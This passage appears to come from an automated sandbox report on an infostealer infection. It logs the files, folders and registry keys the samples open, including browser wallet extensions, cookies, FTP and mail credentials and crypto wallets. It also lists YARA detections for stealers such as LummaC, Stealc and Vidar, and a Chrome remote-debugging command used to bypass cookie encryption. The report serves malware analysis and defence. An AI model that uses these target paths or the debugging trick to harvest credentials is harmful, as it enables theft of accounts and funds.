Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW

Source: Yara match	File source: 0000000E.00000003.2606017151.0000000001399000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2659887278.0000000001397000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2749502841.000000000119F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2695714485.000000000139A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2662002008.0000000001397000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2818578947.000000000119B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2630672197.0000000001397000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2779674045.000000000119B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2816108963.000000000119B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2687415962.0000000001397000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2817466768.000000000119B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2607114337.0000000001399000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2815133175.000000000119B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2863664050.00000000011A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2863943715.00000000011AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2845499315.0000000001198000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2780226045.000000000119B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2782689766.000000000119B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2660483702.0000000001397000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2813114582.000000000119A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2631540208.0000000001397000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 6976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f5d46eacf9.exe PID: 1244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a0a3a50765.exe PID: 5292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f5d46eacf9.exe PID: 2484, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: 00000011.00000003.2756319957.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9777a59422.exe PID: 5084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9777a59422.exe PID: 5856, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 6976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f5d46eacf9.exe PID: 1244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f5d46eacf9.exe PID: 2484, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000F.00000002.3109931730.0000000000C71000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2627351987.0000000005490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2775129715.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3125680756.000000000197E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a0a3a50765.exe PID: 5292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: a0a3a50765.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0000000F.00000002.3125680756.000000000197E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a0a3a50765.exe PID: 5292, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	4 Obfuscated Files or Information	LSASS Memory	13 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	12 Software Packing	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	312 Process Injection	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	2 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
